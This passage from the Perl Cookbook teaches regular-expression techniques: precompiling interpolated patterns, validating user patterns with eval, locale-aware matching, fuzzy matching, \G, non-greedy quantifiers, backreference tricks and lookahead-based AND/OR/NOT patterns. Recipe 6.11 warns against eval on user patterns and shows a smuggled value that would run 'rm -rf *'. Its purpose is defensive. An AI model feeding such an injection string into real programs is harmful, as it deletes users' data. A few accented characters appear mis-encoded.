Example 6.4 is an example of the slow but straightforward technique for matching many patterns against many lines. The array @popstates contains the standard two-letter abbreviations for some of the places in the heartland of North America where we normally refer to soft drinks as pop (soda to us means either plain soda water or else handmade delicacies from the soda fountain at the corner drugstore, preferably with ice cream). The goal is to print out any line of input that contains any of those places, matching them at word boundaries only. It doesn't use /o because the variable that holds the pattern keeps changing.

Example 6.4: popgrep1

#!/usr/bin/perl
# popgrep1 - grep for abbreviations of places that say "pop"
# version 1: slow but obvious way
@popstates = qw(CO ON MI WI MN);
LINE: while (defined($line = <>)) {
    for $state (@popstates) {
        if ($line =~ /\b$state\b/) {
            print; next LINE;
       }
    }
}

Such a direct, obvious, brute-force approach is also horribly slow because it has to recompile all patterns with each line of input. Three different ways of addressing this are described in this section. One builds a string of Perl code and evals it; one caches the internal representations of regular expressions in closures; and one uses the Regexp module from CPAN to hold compiled regular expressions.

The traditional way to get Perl to speed up a multiple match is to build up a string containing the code and eval "$code" it. Example 6.5 contains a version that uses this technique.

Example 6.5: popgrep2

#!/usr/bin/perl
# popgrep2 - grep for abbreviations of places that say "pop"
# version 2: eval strings; fast but hard to quote
@popstates = qw(CO ON MI WI MN);
$code = 'while (defined($line = <>)) {';
for $state (@popstates) {
    $code .= "\tif (\$line =~ /\\b$state\\b/) { print \$line; next; }\n";
}
$code .= '}';
print "CODE IS\n----\n$code\n----\n" if 0;  # turn on to debug
eval $code;
die if $@;

The popgrep2 program builds strings like this:

while (defined($line = <>)) {
     if ($line =~ /\bCO\b/) { print $line; next; }
     if ($line =~ /\bON\b/) { print $line; next; }
     if ($line =~ /\bMI\b/) { print $line; next; }
     if ($line =~ /\bWI\b/) { print $line; next; }
     if ($line =~ /\bMN\b/) { print $line; next; }
}

As you see, those end up looking like constant strings to eval. We put the entire loop and pattern match in the eval text, too, which makes it run faster.

The worst thing about this eval "STRING" approach is that it's difficult to get the quoting and escaping right. The dequote function from Recipe 1.11 can make it easier to read, but escaping variables whose use is delayed will still be an issue. Also, none of the strings can contain a slash, since that's what we're using as a delimiter for the m// operator.

A solution to these problems is a subtle technique first developed by Jeffrey Friedl. The key here is building an anonymous subroutine that caches the compiled patterns in the closure it creates. To do this, we eval a string containing the definition of an anonymous subroutine to match any of the supplied patterns. Perl compiles the pattern once, when the subroutine is defined. The string is evaluated to give you comparatively quick matching ability. An explanation of the algorithm can be found at the end of the section "Regex Compilation, the /o Modifier, and Efficiency" in Chapter 7 of Mastering Regular Expressions.

Example 6.6 is a version of our pop grepper that uses that technique.

Example 6.6: popgrep3

#!/usr/bin/perl
# popgrep3 - grep for abbreviations of places that say "pop"
# version 3: use build_match_func algorithm
@popstates = qw(CO ON MI WI MN);
    $expr = join('||', map { "m/\\b\$popstates[$_]\\b/o" } 0..$#popstates);
$match_any = eval "sub { $expr }";
die if $@;
while (<>) {
    print if &$match_any;
}

The string that gets evaluated ends up looking like this, modulo formatting:

sub {
      m/\b$popstates[0]\b/o || m/\b$popstates[1]\b/o ||
      m/\b$popstates[2]\b/o || m/\b$popstates[3]\b/o ||
      m/\b$popstates[4]\b/o
  }

The reference to the @popstates array is locked up inside the closure. Each one is different, so the /o is safe here.

Example 6.7 is a generalized form of this technique showing how to create functions that return true if any of the patterns match or if all match.

Example 6.7: grepauth

#!/usr/bin/perl
# grepauth - print lines that mention both Tom and Nat

$multimatch = build_match_all(q/Tom/, q/Nat/);
while (<>) {
    print if &$multimatch;
}
exit;

sub build_match_any { build_match_func('||', @_) }
sub build_match_all { build_match_func('&&', @_) }
sub build_match_func {
    my $condition = shift;
    my @pattern = @_;  # must be lexical variable, not dynamic one
    my $expr = join $condition => map { "m/\$pattern[$_]/o" } (0..$#pattern);
    my $match_func = eval "sub { local \$_ = shift if \@_; $expr }";
    die if $@;  # propagate $@; this shouldn't happen!
    return $match_func;
}

Using eval "STRING" on interpolated strings as we did in popgrep2 is a hack that happens to work. Using lexical variables that get bound up in a closure as in popgrep3 and the build_match_* functions is deep enough magic that even Perl wizards stare at it a while before they believe in it. Of course, it still works whether they believe in it or not.

What you really need is some way to get Perl to compile each pattern once and let you directly refer to the compiled form later on. Such functionality is directly supported in the 5.005 release in the form of a qr// regular-expression quoting operator. For prior releases, that's exactly what the experimental Regexp module from CPAN was designed for. Objects created by this module represent compiled regular expression patterns. Using the match method on these objects matches the pattern against the string argument. Methods in the class exist for extracting backreferences, determining where pattern matched, and passing flags corresponding to modifiers like /i.

Example 6.8 is a version of our program that demonstrates a simple use of this module.

Example 6.8: popgrep4

#!/usr/bin/perl
# popgrep4 - grep for abbreviations of places that say "pop"
# version 4: use Regexp module
use Regexp;
@popstates = qw(CO ON MI WI MN);
@poppats   = map { Regexp->new( '\b' . $_ . '\b') } @popstates;
while (defined($line = <>)) {
    for $patobj (@poppats) {
        print $line if $patobj->match($line);
    }
}

You might wonder about the comparative speeds of these approaches. When run against the 22,000 line text file (the Jargon File, to be exact), version 1 ran in 7.92 seconds, version 2 in merely 0.53 seconds, version 3 in 0.79 seconds, and version 4 in 1.74 seconds. The last technique is a lot easier to understand than the others, although it does run slightly slower than they do. It's also more flexible.

See Also

Interpolation is explained in the "Scalar Value Constructors" section of perldata (1), and in the "String literals" section of Chapter 2 of Programming Perl; the /o modifier in perlre (1) and the "Pattern Matching" section of Chapter 2 of Programming Perl; the "Regex Compilation, the /o Modifier, and Efficiency" section of Chapter 7 of Mastering Regular Expressions; the documentation with the CPAN module Regexp

Previous: 6.9. Matching Shell Globs as Regular Expressions | Perl Cookbook | Next: 6.11. Testing for a Valid Pattern
6.9. Matching Shell Globs as Regular Expressions | Book Index | 6.11. Testing for a Valid Pattern


Recipe 6.11. Testing for a Valid Pattern

Perl CookbookSearch this book

6.11. Testing for a Valid Pattern

Problem

You want to let users enter their own patterns, but an invalid one would abort your program the first time you tried to use it.

Solution

Test the pattern in an eval {} construct first, matching against some dummy string. If $@ is not set, no exception occurred, so you know the pattern successfully compiled as a valid regular expression. Here is a loop that continues prompting until the user supplies a valid pattern:

do {
    print "Pattern? ";
    chomp($pat = <>);
    eval { "" =~ /$pat/ };
    warn "INVALID PATTERN $@" if $@;
} while $@;

Here's a standalone subroutine that verifies whether a pattern is valid.

sub is_valid_pattern {
    my $pat = shift;
    return eval { "" =~ /$pat/; 1 } || 0;
}

That one relies upon the block returning 1 if it completes, which in the case of an exception, never happens.

Discussion

There's no end to patterns that won't compile. The user could mistakenly enter "<I\s*[^>", "*** GET RICH ***", or "+5-i". If you blindly use the proffered pattern in your program, it will cause an exception, normally a fatal event.

The tiny program in Example 6.9 demonstrates this.

Example 6.9: paragrep

#!/usr/bin/perl
# paragrep - trivial paragraph grepper
die "usage: $0 pat [files]\n" unless @ARGV;
$/ = '';
$pat = shift;
eval { "" =~ /$pat/; 1 }      or die "$0: Bad pattern $pat: $@\n";
while (<>) {
    print "$ARGV $.: $_" if /$pat/o;
}

That /o is a promise to Perl that the interpolated variable's contents are constant over the program's entire run. It's an efficiency hack. Even if $pat changes, Perl won't notice.

You could encapsulate this in a function call that returns 1 if the block completes and 0 if not as shown in the Solution section. Although eval "/$pat/" would also work to trap the exception, it has two other problems. First of all, there couldn't be any slashes (or whatever your chosen pattern delimiter is) in the string the user entered. More importantly, it would open a drastic security hole that you almost certainly want to avoid. Strings like this could really ruin your day:

$pat = "You lose @{[ system('rm -rf *')]} big here";

If you don't wish to provide the user with a real pattern, you can always metaquote the string first:

$safe_pat = quotemeta($pat);
something() if /$safe_pat/;

Or, even easier, use:

something() if /\Q$pat/;

But if you're going to do that, why are you using pattern matching at all? In that case, a simple use of index would be enough.

By letting the user supply a real pattern, you give them the power into do interesting and useful things. This is a good thing. You just have to be slightly careful, that's all. Suppose they wanted to enter a case-insensitive pattern, but you didn't provide the program with an option like grep 's -i option. By permitting full patterns, the user can enter an embedded /i modifier as (?i), as in /(?i)stuff/.

What happens if the interpolated pattern expands to nothing? If $pat is the empty string, what does /$pat/ match - that is, what does a blank // match? It doesn't match the start of all possible strings. Surprisingly enough, matching the null pattern exhibits the dubiously useful semantics of reusing the previous successfully matched pattern. In practice, this is hard to make good use of in Perl.

Even if you use eval to check the pattern for validity, beware: matching certain patterns takes time that is exponentially proportional to the length of the string being matched. There is no good way to detect one of these, and if the user sticks you with one, your program will appear to hang as it and the entropic heat death of the universe have a long race to see who finishes first. Setting a timer to jump out of a long-running command offers some hope for a way out of this but (as of the 5.004 release) still carries with it the possibility of a core dump if you interrupt Perl at an inopportune moment.

See Also

The eval function in perlfunc (1) and in Chapter 2 of Programming Perl; Recipe 10.12

Previous: 6.10. Speeding Up Interpolated Matches | Perl Cookbook | Next: 6.12. Honoring Locale Settings in Regular Expressions
6.10. Speeding Up Interpolated Matches | Book Index | 6.12. Honoring Locale Settings in Regular Expressions


Recipe 6.12. Honoring Locale Settings in Regular Expressions

Perl CookbookSearch this book

6.12. Honoring Locale Settings in Regular Expressions

Problem

You want to translate case when in a different locale, or you want to make \w match letters with diacritics, such as Jos� or d蔶� vu.

For example, let's say you're given half a gigabyte of text written in German and told to index it. You want to extract words (with \w+) and convert them to lower-case (with lc or \L), but the normal versions of \w and lc neither match the German words nor change the case of accented letters.

Solution

Perl's regular-expression and text-manipulation routines have hooks to POSIX locale setting. If you use the use locale pragma, accented characters are taken care of - assuming a reasonable LC_CTYPE specification and system support for the same.

use locale;

Discussion

By default, \w+ and case-mapping functions operate on upper- and lowercase letters, digits, and underscores. This works only for the simplest of English words, failing even on many common imports. The use locale directive lets you redefine what a "word character" means.

In Example 6.10 you can see the difference in output between having selected the English ("en") locale and the German ("de") one.

Example 6.10: localeg

#!/usr/bin/perl -w
# localeg - demonstrate locale effects

use locale;
use POSIX 'locale_h';

$name = "andreas k\xF6nig";
@locale{qw(German English)} = qw(de_DE.ISO_8859-1 us-ascii);

setlocale(LC_CTYPE, $locale{English})
  or die "Invalid locale $locale{English}";
@english_names = ();
while ($name =~ /\b(\w+)\b/g) {
        push(@english_names, ucfirst($1));
}
setlocale(LC_CTYPE, $locale{German})
  or die "Invalid locale $locale{German}";
@german_names = ();
while ($name =~ /\b(\w+)\b/g) {
        push(@german_names, ucfirst($1));
}

print "English names: @english_names\n";
print "German names:  @german_names\n";
English names: Andreas K Nig
German names:  Andreas K胣ig

This approach relies on POSIX locale support, which your system may or may not provide. Even if your system does claim to provide POSIX locale support, the standard does not specify the locale names. As you can tell, portability of this approach is not assured.

See Also

The treatment of \b, \w, and \s in perlre (1) and in the "Regular expression bestiary" section of Chapter 2 of Programming Perl; the treatment of locales in Perl in perllocale (1); your system's locale (3) manpage; we discuss locales in greater depth in Recipe 6.2; the "Perl and the POSIX locale" section of Chapter 7 of Mastering Regular Expressions

Previous: 6.11. Testing for a Valid Pattern | Perl Cookbook | Next: 6.13. Approximate Matching
6.11. Testing for a Valid Pattern | Book Index | 6.13. Approximate Matching


Recipe 6.13. Approximate Matching

Perl CookbookSearch this book

6.13. Approximate Matching

Problem

You want to match something fuzzily.

Any time you want to be forgiving of misspellings in user input, you want to do fuzzy matching.

Solution

Use the String::Approx module, available from CPAN:

use String::Approx qw(amatch);

if (amatch("PATTERN", @list)) {
    # matched
}

@matches = amatch("PATTERN", @list);

Discussion

String::Approx calculates the difference between the pattern and each string in the list. If less than a certain number (by default, 10 percent of the length of the pattern) one-character insertions, deletions, or substitutions are required to make the string from the pattern, the string "matches" the pattern. In scalar context, amatch returns the number of successful matches. In list context, it returns those strings that matched.

use String::Approx qw(amatch);
open(DICT, "/usr/dict/words")               or die "Can't open dict: $!";
while(<DICT>) {
    print if amatch("balast");
}

ballast
balustrade
blast
blastula
sandblast

You can also pass options to amatch to control case-insensitivity and the number of insertions, deletions, or substitutions to have. These options are passed in as a list reference; they're fully described in the String::Approx documentation.

It must be noted that using the module's matching function seems to run between 10 and 40 times slower than Perl's built-in matching function. Only use String::Approx if you're after fuzziness in your matching that Perl's regular expressions can't provide.

See Also

The documentation for the CPAN module String::Approx; Recipe 1.16

Previous: 6.12. Honoring Locale Settings in Regular Expressions | Perl Cookbook | Next: 6.14. Matching from Where the Last Pattern Left Off
6.12. Honoring Locale Settings in Regular Expressions | Book Index | 6.14. Matching from Where the Last Pattern Left Off


Recipe 6.14. Matching from Where the Last Pattern Left Off

Perl CookbookSearch this book

6.14. Matching from Where the Last Pattern Left Off

Problem

You want to match again from where the last pattern left off.

This is a useful approach to take when repeatedly extracting data in chunks from a string.

Solution

Use a combination of the /g match modifier, the \G pattern anchor, and the pos function.

Discussion

If you use the /g modifier on a match, the regular expression engine keeps track of its position in the string when it finished matching. The next time you match with /g, the engine starts looking for a match from this remembered position. This lets you use a while loop to extract the information you want from the string.

while (/(\d+)/g) {
    print "Found $1\n";
}

You can also use \G in your pattern to anchor it to the end of the previous match. For example, if you had a number stored in a string with leading blanks, you could change each leading blank into the digit zero this way:

$n = "   49 here";
$n =~ s/\G /0/g;
print $n;
00049 here

You can also make good use of \G in a while loop. Here we use \G to parse a comma-separated list of numbers (e.g., "3,4,5,9,120"):

while (/\G,?(\d+)/g) {
    print "Found number $1\n";
}

By default, when your match fails (when we run out of numbers in the examples, for instance) the remembered position is reset to the start. If you don't want this to happen, perhaps because you want to continue matching from that position but with a different pattern, use the modifier /c with /g:

$_ = "The year 1752 lost 10 days on the 3rd of September";

while (/(\d+)/gc) {
    print "Found number $1\n";
}

if (/\G(\S+)/g) {
    print "Found $1 after the last number.\n";
}

Found number 1752
Found number 10
Found number 3
Found rd after the last number.

As you can see, successive patterns can use /g on a string and in doing so change the location of the last successful match. The position of the last successful match is associated with the scalar being matched against, not with the pattern. Further, the position is not copied when you copy the string, nor saved if you use the ill-named local operator.

The location of the last successful match can be read and set with the pos function, which takes as its argument the string whose position you want to get or set. If no argument is given, pos operates on $_ :

print "The position in \$a is ", pos($a);
pos($a) = 30;
print "The position in \$_ is ", pos;
pos = 30;

See Also

The /g modifier is discussed in perlre (1) and the "the rules of regular expression matching" section of Chapter 2 of Programming Perl

Previous: 6.13. Approximate Matching | Perl Cookbook | Next: 6.15. Greedy and Non-Greedy Matches
6.13. Approximate Matching | Book Index | 6.15. Greedy and Non-Greedy Matches


Recipe 6.15. Greedy and Non-Greedy Matches

Perl CookbookSearch this book

6.15. Greedy and Non-Greedy Matches

Problem

You have a pattern with a greedy quantifier like *, +, ?, or {}, and you want to stop it from being greedy.

A classic case of this is the na衯e substitution to remove tags from HTML. Although it looks appealing, s#<TT>.*</TT>##gsi, actually deletes everything from the first open TT tag through the last closing one. This would turn "Even <TT>vi</TT> can edit <TT>troff</TT> effectively." into "Even effectively", completely changing the meaning of the sentence!

Solution

Replace the offending greedy quantifier with the corresponding non-greedy version. That is, change *, +, ?, and {} into *?, +?, ??, and {}?, respectively.

Discussion

Perl has two sets of quantifiers: the maximal ones *, +, ?, and {} (sometimes called greedy) and the minimal ones *?, +?, ??, and {}? (sometimes called stingy). For instance, given the string "Perl is a Swiss Army Chainsaw!", the pattern /(r.*s)/ matches "rl is a Swiss Army Chains" whereas /(r.*?s)/ matches "rl is".

With maximal quantifiers, when you ask to match a variable number of times, such as zero or more times for * or one or more times for +, the matching engine prefers the "or more" portion of that description. Thus /foo.*bar/ matches from the first "foo" up to the last "bar" in the string, rather than merely the next "bar", as some might expect. To make any of the regular expression repetition operators prefer stingy matching over greedy matching, add an extra ? . So *? matches zero or more times, but rather than match as much as it possibly can the way * would, it matches as little as possible.

# greedy pattern
s/<.*>//gs;                     # try to remove tags, very badly

# non-greedy pattern
s/<.*?>//gs;                    # try to remove tags, still rather badly

This approach doesn't remove tags from all possible HTML correctly, because a single regular expression is not an acceptable replacement for a real parser. See Recipe 20.6 for the right way to do this.

Minimal matching isn't all it's cracked up to be. Don't fall into the trap of thinking that including the partial pattern BEGIN.*?END in a pattern amidst other elements will always match the shortest amount of text between occurrences of BEGIN and END. Imagine the pattern /BEGIN(.*?)END/. If matched against the string "BEGIN and BEGIN and END", $1 would contain "and BEGIN and". This is probably not what you want.

Imagine if we were trying to pull out everything between bold-italic pairs:

<b><i>this</i> and <i>that</i> are important</b> Oh, <b><i>me too!</i></b>

A pattern to find only text between bold-italic HTML pairs, that is, text that doesn't include them, might appear to be this one:

m{ <b><i>(.*?)</i></b> }sx

You might be surprised to learn that the pattern doesn't do that. Many people incorrectly understand this as matching a "<b><i>" sequence, then something that's not "<b><i>", and then "</i></b>", leaving the intervening text in $1. While often it works out that way due to the input data, that's not really what it says. It just matches the shortest leftmost substring that satisfies the entire pattern. In this case, that's the entire string. If the intention were to extract only stuff between "<b><i>" and its corresponding "</i></b>", with no other bold-italic tags in between, it would be incorrect.

If the string in question is just one character, a negated class is remarkably more efficient than a minimal match, as in /X([^X]*)X/. But the general way to say "match BEGIN, then not BEGIN, then END" for any arbitrary values of BEGIN and END is as follows (this also stores the intervening part in $1):

/BEGIN((?:(?!BEGIN).)*)END/

Applying this to the HTML-matching code, we end up with something like:

m{ <b><i>(  (?: (?!</b>|</i>). )*  ) </i></b> }sx

or perhaps:

m{ <b><i>(  (?: (?!</[ib]>). )*  ) </i></b> }sx

Jeffrey Friedl points out that this quick-and-dirty method isn't particularly efficient. He suggests crafting a more elaborate pattern when speed really matters, such as:

m{
    <b><i>
    [^<]*  # stuff not possibly bad, and not possibly the end.
    (?:
 # at this point, we can have '<' if not part of something bad
     (?!  </?[ib]>  )   # what we can't have
     <                  # okay, so match the '<'
     [^<]*              # and continue with more safe stuff
    ) *
    </i></b>
 }sx

This is a variation on Jeffrey's unrolling-the-loop technique, described in Chapter 5 of Mastering Regular Expressions.

See Also

The non-greedy quantifiers in the "Regular Expressions" section of perlre (1), and in the "the rules of regular expression matching" section of Chapter 2 of Programming Perl

Previous: 6.14. Matching from Where the Last Pattern Left Off | Perl Cookbook | Next: 6.16. Detecting Duplicate Words
6.14. Matching from Where the Last Pattern Left Off | Book Index | 6.16. Detecting Duplicate Words


Recipe 6.16. Detecting Duplicate Words

Perl CookbookSearch this book

6.16. Detecting Duplicate Words

Problem

You want to check for doubled words in a document.

Solution

Use backreferences in your regular expression.

Discussion

Parentheses in a pattern make the regular expression engine remember what matched that part of the pattern. Later in your pattern, you can refer to the actual string that matched with \1 (indicating the string matched by the first set of parentheses), \2 (for the second string matched by the second set of parentheses), and so on. Don't use $1; it would be treated as a variable and interpolated before the match began. If you match /([A-Z])\1/, that says to match a capital letter followed not just by any capital letter, but by whichever one was captured by the first set of parentheses in that pattern.

This sample code reads its input files by paragraph, with the definition of paragraph following Perl's notion of two or more contiguous newlines. Within each paragraph, it finds all duplicate words. It ignores case and can match across newlines.

Here we use /x to embed whitespace and comments to make the regular expression readable. /i lets us match both instances of "is" in the sentence "Is is this ok?". We use /g in a while loop to keep finding duplicate words until we run out of text. Within the pattern, use \b (word boundary) and \s (whitespace) to help pick out whole words and avoid matching "This".

$/ = '';                      # paragrep mode
while (<>) {
    while ( m{
                \b            # start at a word boundary (begin letters)
                (\S+)         # find chunk of non-whitespace
                \b            # until another word boundary (end letters)
                (
                    \s+       # separated by some whitespace
                    \1        # and that very same chunk again
                    \b        # until another word boundary
                ) +           # one or more sets of those
             }xig
         )
    {
        print "dup word '$1' at paragraph $.\n";
    }
}

That code finds the duplicated test in the following paragraph:

This is a test
test of the duplicate word finder.

The use of a word boundary anchor surrounding \S+ is usually a bad idea because word boundaries are defined as transitions between alphanumunders (that's a \w) and either the edge of the string or a non-alphanumunder. Surrounding it by \b changes \S+ from its normal meaning of one or more non-whitespace characters to a stretch of non-whitespace whose first and last character must be an alphanumunder.

Here's another interesting demonstration of using backreferences. Imagine you had two words in which the end of the first word was the same as the start of the next one, such as "nobody" and "bodysnatcher". You'd like to find that overlapping part and come up with "nobodysnatcher". This is just a variant on the duplicate word problem.

Conventional byte-by-byte processing the way a C programmer would write it would take a great deal of tricky code to solve this problem. But with a backtracking pattern matcher, it just takes one simple pattern match.

$a = 'nobody';
$b = 'bodysnatcher';
if ("$a $b" =~ /^(\w+)(\w+) \2(\w+)$/) {
    print "$2 overlaps in $1-$2-$3\n";
}
body overlaps in no-body-snatcher

You might think that $1 would first grab up all of "nobody" due to greediness. In fact, it does - for a while. But once it's done so, there aren't any more characters to put in $2. So the engine backs up and $1 begrudgingly gives up one character to $2. The space character matches successfully, but then it sees \2, which currently holds merely "y". The next character in the string is not a "y", but a "b". This makes the engine back up all the way, eventually forcing $1 to surrender enough to $2 that the pattern can match something, a space, then that same thing.

Actually, that won't quite work out if the overlap is itself the product of a doubling, as in "rococo" and "cocoon". The preceding algorithm would have decided that the overlapping string, $2, must be just "co" rather than "coco". But we don't want a "rocococoon"; we want a "rococoon". Adding a minimal matching quantifier to the $1 part gives the much better pattern:

/^(\w+?)(\w+) \2(\w+)$/,

which solves this problem.

Backtracking is more powerful than you imagine. Example 6.11 offers another take on the prime factorization problem from Chapter 2, Numbers.

Example 6.11: prime-pattern

#!/usr/bin/perl
# prime_pattern -- find prime factors of argument using pattern matching
for ($N = ('o' x shift); $N =~ /^(oo+?)\1+$/; $N =~ s/$1/o/g) {
    print length($1), " ";
}
print length ($N), "\n";

Although not practical, this approach marvelously demonstrates the power of backtracking and is therefore very instructional.

Here's another example. Using a brilliant insight first illustrated by Doug McIlroy (or so says Andrew Hume), you can find solutions to Diophantine equations of order one with regular expressions. Consider the equation 12x + 15y + 16z = 281. Can you think of possible values for x, y, and z ? Perl can!

# solve for 12x + 15y + 16z = 281, maximizing x
if (($X, $Y, $Z)  =
   (('o' x 281)  =~ /^(o*)\1{11}(o*)\2{14}(o*)\3{15}$/))
{
    ($x, $y, $z) = (length($X), length($Y), length($Z));
    print "One solution is: x=$x; y=$y; z=$z.\n";
} else {
    print "No solution.\n";
}
One solution is: x=17; y=3; z=2.

Because the first o* was greedy, x was allowed to grow as large as it could. Changing one or more of the * quantifiers to *?, +, or +? can produce different solutions.

('o' x 281)  =~ /^(o+)\1{11}(o+)\2{14}(o+)\3{15}$/
One solution is: x=17; y=3; z=2
('o' x 281)  =~ /^(o*?)\1{11}(o*)\2{14}(o*)\3{15}$/
One solution is: x=0; y=7; z=11.
('o' x 281)  =~ /^(o+?)\1{11}(o*)\2{14}(o*)\3{15}$/
One solution is: x=1; y=3; z=14.

An important lesson to be learned from these amazing feats of mathematical prowess by a lowly pattern matcher is that a pattern matching engine, particularly a backtracking one, very much wants to give you an answer and will work phenomenally hard to do so. But solving a regular expression with backreferences can take time exponentially proportional to the length of the input to complete. For all but trivial inputs, such algorithms make continental drift seem brisk.

See Also

The explanation of backreferences in the "Regular Expressions" section of perlre (1), and in "the fine print" section of Chapter 2 of Programming Perl; the "The Doubled-Word Thing" section in Chapter 2 of Mastering Regular Expressions

Previous: 6.15. Greedy and Non-Greedy Matches | Perl Cookbook | Next: 6.17. Expressing AND, OR, and NOT in a Single Pattern
6.15. Greedy and Non-Greedy Matches | Book Index | 6.17. Expressing AND, OR, and NOT in a Single Pattern


Recipe 6.17. Expressing AND, OR, and NOT in a Single Pattern

Perl CookbookSearch this book

6.17. Expressing AND, OR, and NOT in a Single Pattern

Problem

You have an existing program that accepts a pattern as an argument or input. It doesn't allow you to add extra logic, like case insensitive options, ANDs, or NOTs. So you need to write a single pattern that matches either of two different patterns (the "or" case), both of two patterns (the "and" case), or that reverses the sense of the match ("not").

This situation arises often in a configuration files, web forms, or command-line arguments. Imagine there's a program that does this:

chomp($pattern = <CONFIG_FH>);
if ( $data =~ /$pattern/ ) { ..... }

As the one maintaining the contents of CONFIG_FH, you need to convey Booleans through to the matching program through that one, measly pattern without explicit connectives.

Solution

True if either /ALPHA/ or /BETA/ matches, like /ALPHA/ || /BETA/:

/ALPHA|BETA/

True if both /ALPHA/ and /BETA/ match, but may overlap, meaning "BETALPHA" should be okay, like /ALPHA/ && /BETA/:

/^(?=.*ALPHA)(?=.*BETA)/s

True if both /ALPHA/ and /BETA/ match, but may not overlap, meaning that "BETALPHA" should fail:

/ALPHA.*BETA|BETA.*ALPHA/s

True if pattern /PAT/ does not match, like $var !~ /PAT/:

/^(?:(?!PAT).)*$/s

True if pattern BAD does not match, but pattern GOOD does:

/(?=^(?:(?!BAD).)*$)GOOD/s

Discussion

When you're writing a regular program and want to know if something doesn't match, say one of:

if (!($string =~ /pattern/)) { something() }   # ugly
if (  $string !~ /pattern/)  { something() }   # preferred

If you want to see if two patterns both match, use:

if ($string =~ /pat1/ && $string =~ /pat2/ ) { something() }

If you want to see if either of two patterns matches:

if ($string =~ /pat1/ || $string =~ /pat2/ ) { something() }

In short, use Perl's normal Boolean connectives to combine regular expressions, rather than doing it all within a single pattern. However, imagine a minigrep program, one that reads its single pattern as an argument, as shown in Example 6.12.

Example 6.12: minigrep

#!/usr/bin/perl
# minigrep - trivial grep
$pat = shift;
while (<>) {
    print if /$pat/o;
}

If you want to tell minigrep that some pattern must not match, or that it has to match both of two subpatterns in any order, then you're at an impasse. The program isn't built to accept those constructs. How can you do it using one pattern? That is, you'd like to execute the minigrep PAT program where PAT can't match or has more than one connected patterns in it. This need comes up often in program reading patterns from configuration files.

The OR case is pretty easy, since the | symbol provides for alternation. The AND and NOT cases, however, require special encoding.

For AND, you have to distinguish between overlapping and non-overlapping cases. You want to see if a string matches both "bell" and "lab". If you allow overlapping, then the word "labelled" qualifies. But if you didn't want to count overlaps, then it shouldn't qualify. The overlapping case uses two look-ahead assertions:

 "labelled" =~ /^(?=.*bell)(?=.*lab)/s

Remember: in a normal program, you don't have to go through these contortions. You can simply say:

$string =~ /bell/ && $string =~ /lab/

To unravel this, we'll spell it out using /x and comments. Here's the long version:

 if ($murray_hill =~ m{
             ^              # start of string
            (?=             # zero-width lookahead
                .*          # any amount of intervening stuff
                bell        # the desired bell string
            )               # rewind, since we were only looking
            (?=             # and do the same thing
                .*          # any amount of intervening stuff
                lab         # and the lab part
            )
         }sx )              # /s means . can match newline
{
    print "Looks like Bell Labs might be in Murray Hill!\n";
}

We didn't use .*? to end it early because minimal matching is more expensive than maximal matching. So it's more efficient to use .* over .*?, given random input where the occurrence of matches at the front or the end of the string is completely unpredictable. Of course, sometimes choosing between .* and .*? may depend on correctness rather than efficiency, but not here.

To handle the non-overlapping case, you need two parts separated by an OR. The first branch is THIS followed by THAT; the second is the other way around.

"labelled" =~ /(?:^.*bell.*lab)|(?:^.*lab.*bell)/

or in long form:

$brand = "labelled";
if ($brand =~ m{
        (?:                 # non-capturing grouper
            ^ .*?           # any amount of stuff at the front
              bell          # look for a bell
              .*?           # followed by any amount of anything
              lab           # look for a lab
          )                 # end grouper
    |                       # otherwise, try the other direction
        (?:                 # non-capturing grouper
            ^ .*?           # any amount of stuff at the front
              lab           # look for a lab
              .*?           # followed by any amount of anything
              bell          # followed by a bell
          )                 # end grouper
    }sx )                   # /s means . can match newline
{
    print "Our brand has bell and lab separate.\n";
}

These patterns aren't necessarily faster. $murray_hill =~ /bell/ && $murray_hill =~ /lab/ will scan the string at most twice, but the pattern matching engine's only option is to try to find a "lab" for each occurrence of "bell" in (?=^.*?bell)(?=^.*?lab)/, leading to quadratic worst case running times.

If you followed those two, then the NOT case should be a breeze. The general form looks like this:

$map =~ /^(?:(?!waldo).)*$/s

Spelled out in long form, this yields:

if ($map =~ m{
        ^                   # start of string
        (?:                 # non-capturing grouper
            (?!             # look ahead negation
                waldo       # is he ahead of us now?
            )               # is so, the negation failed
            .               # any character (cuzza /s)
        ) *                 # repeat that grouping 0 or more
        $                   # through the end of the string
    }sx )                   # /s means . can match newline
{
    print "There's no waldo here!\n";
}

How would you combine AND, OR, and NOT? It's not a pretty picture, and in a regular program, you'd almost never do this, but from a config file or command line where you only get to specify one pattern, you have no choice. You just have to combine what we've learned so far. Carefully.

Let's say you wanted to run the Unix w program and find out whether user tchrist were logged on anywhere but a terminal whose name began with ttyp ; that is, tchrist must match, but ttyp must not.

Here's sample input from w on my Linux system:

 7:15am  up 206 days, 13:30,  4 users,  load average: 1.04, 1.07, 1.04
USER     TTY      FROM              LOGIN@  IDLE   JCPU   PCPU  WHAT
tchrist  tty1                       5:16pm 36days 24:43   0.03s  xinit
tchrist  tty2                       5:19pm  6days  0.43s  0.43s  -tcsh
tchrist  ttyp0    chthon            7:58am  3days 23.44s  0.44s  -tcsh
gnat     ttyS4    coprolith         2:01pm 13:36m  0.30s  0.30s  -tcsh

Here's how to do that using the minigrep program outlined previously or with the tcgrep program at the end of this chapter:

% w | minigrep '^(?!.*ttyp).*tchrist'

Decoding that pattern:

m{
    ^                       # anchored to the start
    (?!                     # zero-width look-ahead assertion
        .*                  # any amount of anything (faster than .*?)
        ttyp                # the string you don't want to find
    )                       # end look-ahead negation; rewind to start
    .*                      # any amount of anything (faster than .*?)
    tchrist                 # now try to find Tom
}x

Never mind that any sane person would just call grep twice, once with a -v option to select only non-matches.

% w | grep tchrist | grep -v ttyp

The point is that Boolean conjunctions and negations can be coded up in one single pattern. You should comment this kind of thing, though, having pity on those who come after you - before they do.

How would you embed that /s in a pattern passed to a program from the command line? The same way as you would a /i switch: by using (?i) in the pattern. The /s and /m modifiers can be painlessly included in a pattern as well, using /(?s) or /(?m). These can even cluster, as in /(?smi). That would make these two reasonably interchangeable:

% grep -i 'pattern' files
% minigrep '(?i)pattern' files

See Also

Lookahead assertions are shown in the "Regular Expressions" section of perlre (1), and in the "rules of regular expression matching" section of Chapter 2 of Programming Perl; your system's grep (1) and w (1) manpages; we talk about configuration files in Recipe 8.16

Previous: 6.16. Detecting Duplicate Words | Perl Cookbook | Next: 6.18. Matching Multiple-Byte Characters
6.16. Detecting Duplicate Words | Book Index | 6.18. Matching Multiple-Byte Characters


Recipe 6.18. Matching Multiple-Byte Characters

Perl CookbookSearch this book

6.18. Matching Multiple-Byte Characters

Problem

You need to perform regular-expression searches against multiple-byte characters.

